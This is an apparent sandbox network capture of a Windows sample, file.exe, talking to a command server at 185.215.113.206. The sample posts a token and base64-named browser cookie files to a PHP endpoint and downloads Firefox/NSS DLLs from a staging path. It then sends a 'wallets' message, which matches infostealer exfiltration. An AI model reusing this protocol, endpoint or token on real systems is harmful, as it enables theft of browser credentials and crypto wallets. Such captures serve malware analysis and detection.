Nov 24, 2024 00:06:33.344558001 CET	629	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JDBGDHIIDAEBFHJJDBFI Host: 185.215.113.206 Content-Length: 427 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 44 42 47 44 48 49 49 44 41 45 42 46 48 4a 4a 44 42 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 39 34 30 66 39 32 61 66 39 39 64 65 33 36 34 64 61 66 61 37 32 63 31 39 63 36 63 35 31 36 39 36 30 32 37 62 66 32 36 31 39 32 66 39 37 30 61 66 61 61 64 35 65 66 33 36 33 65 35 61 63 64 65 62 32 31 32 62 32 36 62 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 42 47 44 48 49 49 44 41 45 42 46 48 4a 4a 44 42 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 42 47 44 48 49 49 44 41 45 42 46 48 4a 4a 44 42 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 [TRUNCATED] Data Ascii: ------JDBGDHIIDAEBFHJJDBFIContent-Disposition: form-data; name="token"e940f92af99de364dafa72c19c6c51696027bf26192f970afaad5ef363e5acdeb212b26b------JDBGDHIIDAEBFHJJDBFIContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------JDBGDHIIDAEBFHJJDBFIContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------JDBGDHIIDAEBFHJJDBFI--
Nov 24, 2024 00:06:35.232152939 CET	203	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 23:06:34 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 24, 2024 00:06:35.345890999 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EHJKFCGHIDHCBGDHJKEB Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 48 4a 4b 46 43 47 48 49 44 48 43 42 47 44 48 4a 4b 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 39 34 30 66 39 32 61 66 39 39 64 65 33 36 34 64 61 66 61 37 32 63 31 39 63 36 63 35 31 36 39 36 30 32 37 62 66 32 36 31 39 32 66 39 37 30 61 66 61 61 64 35 65 66 33 36 33 65 35 61 63 64 65 62 32 31 32 62 32 36 62 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 4b 46 43 47 48 49 44 48 43 42 47 44 48 4a 4b 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 4b 46 43 47 48 49 44 48 43 42 47 44 48 4a 4b 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------EHJKFCGHIDHCBGDHJKEBContent-Disposition: form-data; name="token"e940f92af99de364dafa72c19c6c51696027bf26192f970afaad5ef363e5acdeb212b26b------EHJKFCGHIDHCBGDHJKEBContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------EHJKFCGHIDHCBGDHJKEBContent-Disposition: form-data; name="file"------EHJKFCGHIDHCBGDHJKEB--
Nov 24, 2024 00:06:36.319010973 CET	202	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 23:06:35 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49818	185.215.113.206	80	7480	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 00:06:41.850357056 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FBGIDHCAAKEBAKFIIIEB Host: 185.215.113.206 Content-Length: 3083 Connection: Keep-Alive Cache-Control: no-cache
Nov 24, 2024 00:06:41.850414038 CET	3083	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 46 42 47 49 44 48 43 41 41 4b 45 42 41 4b 46 49 49 49 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 39 34 30 66 39 Data Ascii: ------FBGIDHCAAKEBAKFIIIEBContent-Disposition: form-data; name="token"e940f92af99de364dafa72c19c6c51696027bf26192f970afaad5ef363e5acdeb212b26b------FBGIDHCAAKEBAKFIIIEBContent-Disposition: form-data; name="file_name"Y29va2llc1xNa
Nov 24, 2024 00:06:43.800172091 CET	203	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 23:06:43 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 24, 2024 00:06:43.927187920 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IJKKEHJDHJKFIECAAKFI Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 4a 4b 4b 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 39 34 30 66 39 32 61 66 39 39 64 65 33 36 34 64 61 66 61 37 32 63 31 39 63 36 63 35 31 36 39 36 30 32 37 62 66 32 36 31 39 32 66 39 37 30 61 66 61 61 64 35 65 66 33 36 33 65 35 61 63 64 65 62 32 31 32 62 32 36 62 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 4b 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 4b 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------IJKKEHJDHJKFIECAAKFIContent-Disposition: form-data; name="token"e940f92af99de364dafa72c19c6c51696027bf26192f970afaad5ef363e5acdeb212b26b------IJKKEHJDHJKFIECAAKFIContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------IJKKEHJDHJKFIECAAKFIContent-Disposition: form-data; name="file"------IJKKEHJDHJKFIECAAKFI--
Nov 24, 2024 00:06:44.888493061 CET	202	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 23:06:44 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 24, 2024 00:06:45.511095047 CET	94	OUT	GET /68b591d6548ec281/freebl3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 24, 2024 00:06:45.971127033 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 23:06:45 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Nov 24, 2024 00:06:45.971191883 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 68 4f 01 00 00 e8 f2 0b 08 00 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b Data Ascii: UhOt8]h1]UWVEtu}UMt"0(h&40jVjjRQP?^_]USWVhO?t0
Nov 24, 2024 00:06:45.971224070 CET	248	IN	Data Raw: 55 07 08 00 83 c4 08 eb ce cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 83 e4 f8 83 ec 58 89 4c 24 2c 8b 7d 1c a1 b4 30 0a 10 31 e8 89 44 24 50 c7 44 24 3c 10 00 00 00 83 ff 18 72 19 89 f8 83 e0 07 75 12 8d 47 f8 3b 45 14 76 14 68 03 e0 ff Data Ascii: UUSWVXL$,}01D$PD$<ruG;Evhh\|$,}uT$4D$0P\|OL$8PVS'D$@?@L$L$D$D$D$$
Nov 24, 2024 00:06:45.971298933 CET	1236	IN	Data Raw: 00 00 31 d2 31 c9 89 5c 24 28 eb 24 89 c7 8b 44 24 1c 83 c0 01 83 f8 06 8b 54 24 18 8b 4c 24 14 0f 84 e2 01 00 00 89 44 24 1c 8a 44 24 07 04 ff 8b 74 24 38 0f 1f 84 00 00 00 00 00 89 c3 88 44 24 07 8b 44 24 40 89 cf 89 4c 24 14 0f b6 c9 c1 e1 18 Data Ascii: 11\$($D$T$L$D$D$t$8D$D$@L$T$\|$ L$$\$\$T$1%1%1T$D\|$@\|$t\$(D$\$(sFD$,D$
Nov 24, 2024 00:06:45.971350908 CET	1236	IN	Data Raw: 45 dc 89 ca f7 da c1 fa 1f f7 d2 8b 45 1c 80 7c 30 f7 01 19 db 09 d3 b8 01 00 00 00 29 c8 c1 f8 1f 8b 55 1c 80 7c 32 f6 01 19 d2 f7 d0 09 c2 21 da 21 fa b8 02 00 00 00 29 c8 c1 f8 1f f7 d0 8b 5d 1c 80 7c 33 f5 01 19 ff 09 c7 b8 03 00 00 00 29 c8 Data Ascii: EE\|0)U\|2!!)]\|3)\|3!)}\|7!!)U\|2)\|2!!)M\|1t/EU;U]w"1E9t:RVP -
Nov 24, 2024 00:06:45.971385956 CET	1236	IN	Data Raw: 45 08 c7 47 08 00 00 00 00 89 47 04 8b 48 04 ff 15 00 80 0a 10 ff d1 89 07 85 c0 74 31 8b 55 0c 89 f9 ff 75 14 ff 75 10 e8 17 fd ff ff 83 c4 08 85 c0 74 2c 8b 1f 85 db 74 14 8b 47 04 8b 48 0c ff 15 00 80 0a 10 6a 01 53 ff d1 83 c4 08 c7 47 08 01 Data Ascii: EGGHt1Uuut,tGHjSGW:G^_[]USWVUM]u>F9t:NVFMUtHHjWhjV4%tUVPdnFEFEF
Nov 24, 2024 00:06:45.971465111 CET	672	IN	Data Raw: 31 e9 e8 29 f6 07 00 89 f0 81 c4 04 01 00 00 5e 5f 5b 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 81 ec 08 01 00 00 a1 b4 30 0a 10 31 e8 89 45 f0 68 02 01 00 00 e8 9f f7 07 00 83 c4 04 31 ff 85 c0 0f 84 fc 00 00 00 89 c6 8b 45 0c Data Ascii: 1)^_[]USWV01Eh1E=s hkhVohh !Vf.@uVuW)9wSuWT
Nov 24, 2024 00:06:45.971498966 CET	1236	IN	Data Raw: d6 0f b6 f6 8a 24 37 88 24 0f 88 14 37 8b 75 14 00 d4 0f b6 cc 8b 5d 10 8a 53 02 32 14 0f 8b 4d e4 88 51 02 83 fe 03 0f 84 ac 00 00 00 8b 45 ec 04 04 0f b6 c8 8b 7d f0 8a 14 0f 00 d6 0f b6 f6 8a 24 37 88 24 0f 88 14 37 8b 75 14 00 d4 0f b6 cc 8b Data Ascii: $7$7u]S2MQE}$7$7u]S2MQttE}$7$7u]S2MQt<E}$7$7u]S2]SEu0EM
Nov 24, 2024 00:06:45.971534967 CET	1236	IN	Data Raw: cc 8b 45 10 66 0f 6e 2c 30 66 0f 6e 64 30 04 66 0f ef f6 66 0f 60 ee 66 0f 61 ee 66 0f 60 e6 66 0f 61 e6 66 0f 72 f0 17 66 0f 6f 35 e0 20 08 10 66 0f fe c6 f3 0f 5b c0 66 0f 70 fd f5 66 0f f4 e8 66 0f 70 ed e8 66 0f 70 c0 f5 66 0f f4 c7 66 0f 70 Data Ascii: Efn,0fnd0ff`faf`fafrfo5 f[fpffpfpffpfbffrf[fpffpfpffpfbfffpffpUff~MU9UEuUM}]?uu]}9u}U
Nov 24, 2024 00:06:45.979660988 CET	1236	IN	Data Raw: e9 2e f7 ff ff cc cc cc 55 89 e5 53 57 56 81 ec 5c 01 00 00 89 8d dc fe ff ff 8b 32 89 95 74 ff ff ff 89 b5 f4 fe ff ff 8b 01 89 85 9c fe ff ff 89 c7 01 f7 8b 52 04 89 95 f8 fe ff ff 8b 41 04 89 85 a0 fe ff ff 89 c3 11 d3 8b 41 20 89 85 c4 fe ff Data Ascii: .USWV\2tRAA q$]QD1A@1RQP5}gjM31tQIU]U1P1]P
Nov 24, 2024 00:06:47.567068100 CET	94	OUT	GET /68b591d6548ec281/mozglue.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 24, 2024 00:06:48.027120113 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 23:06:47 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Nov 24, 2024 00:06:49.385324955 CET	95	OUT	GET /68b591d6548ec281/msvcp140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 24, 2024 00:06:49.853383064 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 23:06:49 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Nov 24, 2024 00:06:50.684763908 CET	91	OUT	GET /68b591d6548ec281/nss3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 24, 2024 00:06:51.144819975 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 23:06:50 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Nov 24, 2024 00:06:54.715770960 CET	95	OUT	GET /68b591d6548ec281/softokn3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 24, 2024 00:06:55.175745964 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 23:06:54 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Nov 24, 2024 00:06:55.825124025 CET	99	OUT	GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 24, 2024 00:06:56.293107986 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 23:06:56 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Nov 24, 2024 00:06:57.062494993 CET	202	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JKFIDGDHJEGIEBFHDGDG Host: 185.215.113.206 Content-Length: 947 Connection: Keep-Alive Cache-Control: no-cache
Nov 24, 2024 00:06:58.205137014 CET	202	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 23:06:57 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 24, 2024 00:06:58.300925970 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IEGCBAAFHDHDHJKEGCFC Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 45 47 43 42 41 41 46 48 44 48 44 48 4a 4b 45 47 43 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 39 34 30 66 39 32 61 66 39 39 64 65 33 36 34 64 61 66 61 37 32 63 31 39 63 36 63 35 31 36 39 36 30 32 37 62 66 32 36 31 39 32 66 39 37 30 61 66 61 61 64 35 65 66 33 36 33 65 35 61 63 64 65 62 32 31 32 62 32 36 62 0d 0a 2d 2d 2d 2d 2d 2d 49 45 47 43 42 41 41 46 48 44 48 44 48 4a 4b 45 47 43 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 49 45 47 43 42 41 41 46 48 44 48 44 48 4a 4b 45 47 43 46 43 2d 2d 0d 0a Data Ascii: 